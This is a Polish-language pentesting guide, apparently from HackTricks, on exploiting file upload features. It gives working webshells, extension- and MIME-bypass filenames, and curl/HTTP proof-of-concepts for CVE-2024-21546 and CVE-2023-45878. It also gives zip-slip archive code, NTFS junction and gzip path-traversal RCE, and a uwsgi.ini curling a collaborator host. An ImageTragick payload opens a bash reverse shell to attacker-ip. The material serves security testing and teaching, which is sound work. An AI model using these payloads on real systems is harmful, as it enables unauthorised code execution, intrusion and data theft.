Przesyłanie plików

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ogólna metodologia przesyłania plików

Other useful extensions:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Omijanie kontroli rozszerzeń plików

  1. Jeśli mają zastosowanie, sprawdź poprzednie rozszerzenia. Testuj je też używając wielkich liter: pHp, .pHP5, .PhAr …
  2. Sprawdź dodanie prawidłowego rozszerzenia przed rozszerzeniem wykonywalnym (użyj też poprzednich rozszerzeń):
  • file.png.php
  • file.png.Php5
  1. Spróbuj dodać specjalne znaki na końcu. Możesz użyć Burp do bruteforce wszystkich znaków ASCII i Unicode. (Uwaga: możesz też spróbować użyć wcześniej wspomnianych rozszerzeń)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. Spróbuj ominąć zabezpieczenia, oszukując parser rozszerzeń po stronie serwera technikami takimi jak podwajanie rozszerzenia lub dodawanie śmieciowych danych (bajtów null) między rozszerzeniami. Możesz też użyć poprzednich rozszerzeń aby przygotować lepszy payload.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Dodaj kolejną warstwę rozszerzeń do poprzedniej techniki:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Spróbuj umieścić rozszerzenie wykonywalne przed prawidłowym rozszerzeniem i miej nadzieję, że serwer jest źle skonfigurowany. (użyteczne do exploitowania błędnych konfiguracji Apache, gdzie cokolwiek z rozszerzeniem .php — choć niekoniecznie kończące się na .php — wykona kod):
  • ex: file.php.png
  1. Użycie NTFS alternate data stream (ADS) w Windows. W takim przypadku po zabronionym rozszerzeniu i przed dozwolonym wstawiany jest dwukropek “:”. W rezultacie na serwerze utworzony zostanie pusty plik z zabronionym rozszerzeniem (np. “file.asax:.jpg”). Ten plik może być później edytowany innymi technikami, np. używając jego short filename. Wzorzec “::$data” może być także użyty do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może pomóc ominąć dalsze ograniczenia (np. “file.asp::$data.”)
  2. Spróbuj przekroczyć limity długości nazwy pliku. Prawidłowe rozszerzenie zostaje obcięte. A złośliwe PHP pozostaje. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Niektóre upload handlery obcinają lub normalizują końcowe kropki w zapisanej nazwie pliku. W UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) w wersjach przed 2.9.1 możesz ominąć walidację rozszerzeń poprzez:

  • Użycie prawidłowego MIME obrazu i nagłówka magicznego (np. PNG’s \x89PNG\r\n\x1a\n).
  • Nazwanie przesyłanego pliku z rozszerzeniem PHP zakończonym kropką, np. shell.php..
  • Serwer usuwa końcową kropkę i zapisuje shell.php, który wykona się, jeśli zostanie umieszczony w katalogu serwowanym przez web (domyślnie public storage like /storage/files/).

Minimalny PoC (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Następnie odwiedź zapisaną ścieżkę (typowe w Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Omijanie Content-Type, Magic Number, Compression & Resizing

  • Omijaj kontrole Content-Type ustawiając value header Content-Type na: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Omijaj kontrolę magic number dodając na początku pliku bajty prawdziwego obrazu (wprowadzając w błąd polecenie file). Albo umieść shell w metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ albo możesz też wprowadzić payload bezpośrednio w obraz:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Jeśli do twojego obrazu jest dodawana kompresja, na przykład przy użyciu standardowych bibliotek PHP takich jak PHP-GD, powyższe techniki mogą nie działać. Możesz jednak użyć PLTE chunk techniki opisanej tutaj, aby wstawić tekst, który przetrwa kompresję.
  • Github with the code
  • Strona mogłaby też zmieniać rozmiar obrazu, używając na przykład funkcji PHP-GD imagecopyresized lub imagecopyresampled. Jednak możesz użyć IDAT chunk techniki opisanej tutaj, żeby wstawić tekst, który przetrwa kompresję.
  • Github with the code
  • Inna technika tworzenia payloadu, który przetrwa zmianę rozmiaru obrazu, korzysta z funkcji PHP-GD thumbnailImage. Możesz też użyć tEXt chunk techniki opisanej tutaj, aby wstawić tekst, który przetrwa kompresję.
  • Github with the code

Inne triki do sprawdzenia

  • Znajdź podatność pozwalającą zmienić nazwę pliku już przesłanego (aby zmienić rozszerzenie).
  • Znajdź podatność Local File Inclusion, aby wykonać backdoor.
  • Możliwe wycieki informacji:
  1. Wysyłaj wiele razy (i w tym samym czasie) ten sam plik o tej samej nazwie
  2. Prześlij plik z nazwą pliku lub folderu, który już istnieje
  3. Przesyłanie pliku o nazwie “.” , “..”, lub “…” jako jego nazwa. Na przykład, w Apache na Windows, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa pliku “.” stworzy plik o nazwie uploads” w katalogu “/www/”.
  4. Prześlij plik, który może być trudny do usunięcia, taki jak “…:.jpg” w NTFS. (Windows)
  5. Prześlij plik w Windows z nieprawidłowymi znakami w nazwie, takimi jak |<>*?”. (Windows)
  6. Prześlij plik w Windows używając zarezerwowanych (zakazanych) nazw takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
  • Spróbuj również wysłać plik wykonywalny (.exe) lub .html (mniej podejrzane), który wykona kod po przypadkowym otwarciu przez ofiarę.

Special extension tricks

Jeśli próbujesz przesyłać pliki na PHP server, take a look at the .htaccess trick to execute code.
Jeśli próbujesz przesyłać pliki na ASP server, take a look at the .config trick to execute code.

Pliki .phar są jak .jar dla java, ale dla php, i mogą być użyte jak plik php (wykonywane przez php, lub dołączane inside a script…)

Rozszerzenie .inc jest czasem używane dla plików php, które służą tylko do importu plików, więc możliwe, że ktoś mógł pozwolić na wykonywanie tego rozszerzenia.

Jetty RCE

Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać RCE because **new .xml and .war are automatically processed. Zatem, jak pokazano na poniższym obrazku, prześlij plik XML do $JETTY_BASE/webapps/ i spodziewaj się shell’a!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Dla szczegółowego omówienia tej podatności sprawdź oryginalne badanie: uWSGI RCE Exploitation.

Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. Pliki konfiguracyjne uWSGI używają specyficznej składni do włączania “magic” zmiennych, placeholderów i operatorów. W szczególności operator ‘@’, używany jako @(filename), służy do dołączenia zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat “exec” jest szczególnie silny, pozwalając na odczytanie danych ze standardowego wyjścia procesu. Funkcja ta może być wykorzystana do złośliwych celów, takich jak Remote Command Execution lub Arbitrary File Write/Read, gdy plik konfiguracyjny .ini jest przetwarzany.

Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Wykonanie payloadu następuje podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać zrestartowany (potencjalnie po awarii lub w wyniku Denial of Service attack) lub plik musi być ustawiony na auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach po wykryciu zmian.

Ważne jest, aby zrozumieć luźny charakter parsowania pliku konfiguracyjnego uWSGI. Konkretnie, omawiany payload może zostać wstawiony do pliku binarnego (np. obrazu lub PDF), co dodatkowo rozszerza zakres potencjalnej eksploatacji.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Nieautoryzowany endpoint w Gibbon LMS pozwala na arbitrary file write wewnątrz web root, prowadząc do pre-auth RCE poprzez umieszczenie pliku PHP. Podatne wersje: do i włącznie 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Wymagane parametry:
    • img: ciąg podobny do data-URI: [mime];[name],[base64] (serwer ignoruje type/name, dekoduje base64 z końcówki)
    • path: docelowa nazwa pliku względem katalogu instalacyjnego Gibbon (np. poc.php lub 0xdf.php)
    • gibbonPersonID: akceptowana jest dowolna niepusta wartość (np. 0000000001)

Minimalny PoC do zapisania i odczytania pliku:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Wgraj minimalny webshell i wykonaj polecenia:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Notatki:

  • The handler wykonuje base64_decode($_POST["img"]) po rozdzieleniu po ; i ,, a następnie zapisuje bajty do $absolutePath . '/' . $_POST['path'] bez sprawdzania rozszerzenia/typu.
  • W wyniku tego kod uruchamia się jako użytkownik serwisu WWW (np. XAMPP Apache na Windows).

Źródła dotyczące tego buga obejmują advisory usd HeroLab oraz wpis w NVD. Zobacz sekcję References poniżej.

wget File Upload/SSRF Sztuczka

W niektórych przypadkach możesz stwierdzić, że serwer używa wget do pobierania plików i możesz wskazać URL. W takich sytuacjach kod może sprawdzać, czy rozszerzenie pobieranego pliku znajduje się na białej liście, aby zapewnić, że pobierane będą tylko dozwolone pliki. Jednakże, tego sprawdzenia można obejść.
Maksymalna długość nazwy pliku w linux to 255, jednak wget obcina nazwy plików do 236 znaków. Możesz pobrać plik o nazwie “A”*232+“.php”+“.gif”, ta nazwa pliku obejdzie sprawdzenie (w tym przykładzie “.gif” jest dozwolonym rozszerzeniem), ale wget zmieni nazwę pliku na “A”*232+“.php”.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Zauważ, że inną opcją, o której możesz myśleć, aby obejść tę kontrolę, jest sprawienie, by HTTP server przekierował do innego pliku — początkowy URL ominie kontrolę, a następnie wget pobierze przekierowany plik pod nową nazwą. To nie zadziała, chyba że wget jest używany z parametrem --trust-server-names, ponieważ wget pobierze przekierowaną stronę pod nazwą pliku wskazaną w oryginalnym URL.

Omijanie upload directory przez NTFS junctions (Windows)

(Do tego ataku będziesz potrzebować lokalnego dostępu do maszyny Windows) Gdy uploads są przechowywane w per-user subfolders na Windows (np. C:\Windows\Tasks\Uploads<id>) i masz kontrolę nad tworzeniem/usuwaniem tego podfolderu, możesz zastąpić go directory junction wskazującym na wrażliwą lokalizację (np. webroot). Kolejne uploads zostaną zapisane w docelowej ścieżce, co umożliwi code execution, jeśli target interpretuje server‑side code.

Przykładowy przebieg przekierowania uploads do XAMPP webroot:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Notatki

  • mklink /J creates an NTFS directory junction (reparse point). The web server’s account must follow the junction and have write permission in the destination.
  • This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
  • Defenses: don’t allow writable upload roots to be attacker‑controllable under C:\Windows\Tasks or similar; block junction creation; validate extensions server‑side; store uploads on a separate volume or with deny‑execute ACLs.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Niektóre upload/ingest handlers zapisują surowe body żądania do ścieżki w systemie plików, która jest konstruowana z parametrów zapytania kontrolowanych przez użytkownika. Jeśli handler obsługuje Content-Encoding: gzip i nie kanonizuje/waliduje ścieżki docelowej, możesz połączyć directory traversal z gzipped payload, aby zapisać dowolne bajty w katalogu serwowanym przez web i uzyskać RCE (np. upuścić JSP w webapps Tomcata).

Ogólny przebieg eksploatacji:

  • Przygotuj server-side payload (np. minimalny JSP webshell) i gzip-compress dane.
  • Wyślij POST, gdzie parametr ścieżki (np. token) zawiera traversal powodujący opuszczenie zamierzonego folderu, a file wskazuje nazwę pliku do zapisania. Ustaw Content-Type: application/octet-stream i Content-Encoding: gzip; body to skompresowany payload.
  • Odwiedź zapisany plik, aby wywołać wykonanie.

Przykładowe żądanie:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

Następnie wyzwól:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Notatki

  • Target paths vary by install (e.g., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). Any web-exposed folder that executes JSP will work.
  • Burp Suite’s Hackvertor extension can produce a correct gzip body from your payload.
  • This is a pure pre-auth arbitrary file write → RCE pattern; it does not rely on multipart parsing.

Środki zaradcze

  • Wyznaczaj docelowe ścieżki uploadu po stronie serwera; nigdy nie ufaj fragmentom ścieżek pochodzącym od klienta.
  • Kanoniczuj i egzekwuj, aby rozwiązana ścieżka pozostawała wewnątrz dozwolonego katalogu bazowego.
  • Przechowuj uploady na wolumenie bez praw do wykonania i zabroń wykonywania skryptów z zapisywalnych ścieżek.

Narzędzia

  • Upload Bypass is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.

Corrupting upload indices with snprintf quirks (historical)

Some legacy upload handlers that use snprintf() or similar to build multi-file arrays from a single-file upload can be tricked into forging the _FILES structure. Due to inconsistencies and truncation in snprintf() behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.

Z uploadu plików do innych podatności

Here’s a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.

Zip/Tar File Automatically decompressed Upload

If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:

Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Rozpakowywanie do różnych folderów

Niespodziewane tworzenie plików w katalogach podczas dekompresji to poważny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed OS-level command execution poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie kompresji oraz możliwości directory traversal formatu ZIP archive format mogą zostać wykorzystane. Pozwala to atakującym obejść ograniczenia i wydostać się z secure upload directories poprzez manipulację decompression functionality aplikacji docelowej.

Automatyczny exploit do stworzenia takich plików jest dostępny na evilarc on GitHub. Narzędzie można użyć w następujący sposób:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Dodatkowo, symlink trick with evilarc jest opcją. Jeśli celem jest uzyskanie dostępu do pliku takiego jak /flag.txt, należy utworzyć symlink do tego pliku w systemie. To zapewnia, że evilarc nie napotka błędów podczas działania.

Poniżej znajduje się przykład kodu Pythona używanego do utworzenia złośliwego pliku zip:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Wykorzystywanie kompresji do file spraying

Dalsze szczegóły sprawdź oryginalny post pod adresem: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Tworzenie PHP Shell: Kod PHP jest zapisany, aby wykonywać polecenia przekazane przez zmienną $_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Tworzonych jest wiele plików, a następnie składane jest archiwum zip zawierające te pliki.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modyfikacja za pomocą Hex Editora lub vi: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora heksadecymalnego, zamieniając “xxA” na “../” w celu traversowania katalogów.
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Gdy backend waliduje wpisy ZIP przy użyciu PHP’s ZipArchive, ale rozpakowywanie zapisuje pliki na systemie plików używając surowych nazw, możesz przemycić niedozwolone rozszerzenie przez wstawienie NUL (0x00) w pola nazwy pliku. ZipArchive traktuje nazwę wpisu jako C‑string i obcina ją przy pierwszym NUL; system plików zapisuje pełną nazwę, pomijając wszystko po NUL.

High-level flow:

  • Przygotuj legalny plik-kontener (np. ważny PDF), który osadza mały PHP stub w strumieniu, tak aby magic/MIME pozostał PDF.
  • Nazwij go np. shell.php..pdf, zipuj go, następnie heksedytuj lokalny nagłówek ZIP i nazwę w central directory, aby zastąpić pierwszą . po .php przez 0x00, co da shell.php\x00.pdf.
  • Walidatory opierające się na ZipArchive „zobaczą” shell.php .pdf i pozwolą na to; extractor zapisze shell.php na dysku, co może doprowadzić do RCE, jeśli folder uploadu jest wykonywalny.

Minimal PoC steps:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Uwagi

  • Zmień OBA wystąpienia nazwy pliku (lokalne i central directory). Niektóre narzędzia dodają też dodatkowy wpis data descriptor – dostosuj wszystkie pola nazwy, jeśli występują.
  • Plik payload musi nadal przejść server‑side magic/MIME sniffing. Osadzenie PHP w strumieniu PDF utrzymuje nagłówek prawidłowy.
  • Działa tam, gdzie ścieżka enum/validation i ścieżka extraction/write nie zgadzają się w obsłudze łańcuchów znaków.

Złożone/konkatenowane ZIPy (niezgodność parserów)

Połączenie dwóch prawidłowych plików ZIP daje blob, w którym różne parsery skupiają się na różnych rekordach EOCD. Wiele narzędzi lokalizuje ostatni End Of Central Directory (EOCD), podczas gdy niektóre biblioteki (np. ZipArchive w określonych workflow) mogą sparsować pierwsze znalezione archiwum. Jeśli walidacja enumeruje pierwsze archiwum, a ekstrakcja używa innego narzędzia, które respektuje ostatni EOCD, archiwum nieszkodliwe może przejść kontrole, podczas gdy złośliwe zostanie rozpakowane.

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Wzorzec nadużycia

  • Utwórz niegroźne archiwum (dozwolony typ, np. PDF) oraz drugie archiwum zawierające zablokowane rozszerzenie (np. shell.php).
  • Połącz je: cat benign.zip evil.zip > combined.zip.
  • Jeśli serwer waliduje za pomocą jednego parsera (widzi benign.zip), ale rozpakowuje za pomocą innego (przetwarza evil.zip), zablokowany plik trafia do ścieżki rozpakowywania.

ImageTragic

Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać podatność (ImageMagick , 7.0.1-1) (z exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Osadzanie PHP Shell w PNG

Osadzenie PHP Shell w chunku IDAT pliku PNG może skutecznie ominąć niektóre operacje przetwarzania obrazu. Funkcje imagecopyresized i imagecopyresampled z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane odpowiednio do zmiany rozmiaru i resamplingu obrazów. Możliwość, że osadzony PHP Shell pozostanie niezmieniony przez te operacje, stanowi istotną zaletę w niektórych scenariuszach.

Szczegółowe omówienie tej techniki, wraz z metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: “Encoding Web Shells in PNG IDAT chunks”. Ten zasób daje kompleksowe zrozumienie procesu i jego implikacji.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Pliki polyglot działają jak kameleony i mogą jednocześnie być poprawne w wielu formatach plików. Ciekawym przykładem jest GIFAR, hybryda działająca zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tego połączenia; możliwe są także kombinacje typu GIF + JS czy PPT + JS.

Główną użytecznością polyglotów jest ich zdolność do obchodzenia mechanizmów zabezpieczeń, które filtrują pliki na podstawie typu. Powszechna praktyka w różnych aplikacjach polega na dopuszczaniu tylko określonych typów plików do uploadu — jak JPEG, GIF czy DOC — aby zmniejszyć ryzyko związane z potencjalnie niebezpiecznymi formatami (np. JS, PHP czy Phar). Jednak polyglot, spełniając strukturalne kryteria wielu formatów jednocześnie, może ukradkiem ominąć te ograniczenia.

Mimo elastyczności, polygloty napotykają też ograniczenia. Na przykład, choć polyglot może jednocześnie zawierać plik PHAR (PHp ARchive) i JPEG, powodzenie jego uploadu może zależeć od polityki dotyczącej rozszerzeń plików na platformie. Jeśli system jest rygorystyczny co do dozwolonych rozszerzeń, sama strukturalna dwoistość polyglota może nie wystarczyć, by zagwarantować jego przesłanie.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Upload valid JSONs like if it was PDF

Jak ominąć wykrywanie typów plików przesyłając prawidłowy plik JSON, nawet jeśli nie jest dozwolony, podszywając się pod plik PDF (techniki z this blog post):

  • mmmagic library: Dopóki magiczne bajty %PDF znajdują się w pierwszych 1024 bajtach, plik jest uznawany za ważny (zobacz przykład w poście)
  • pdflib library: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała go za PDF (zobacz przykład w poście)
  • file binary: Potrafi czytać do 1048576 bajtów z pliku. Wystarczy stworzyć JSON większy niż ta wartość, aby nie mógł sparsować zawartości jako JSON, a następnie wewnątrz JSON umieścić początkową część prawdziwego PDF i uzna go za PDF

Content-Type confusion to arbitrary file read

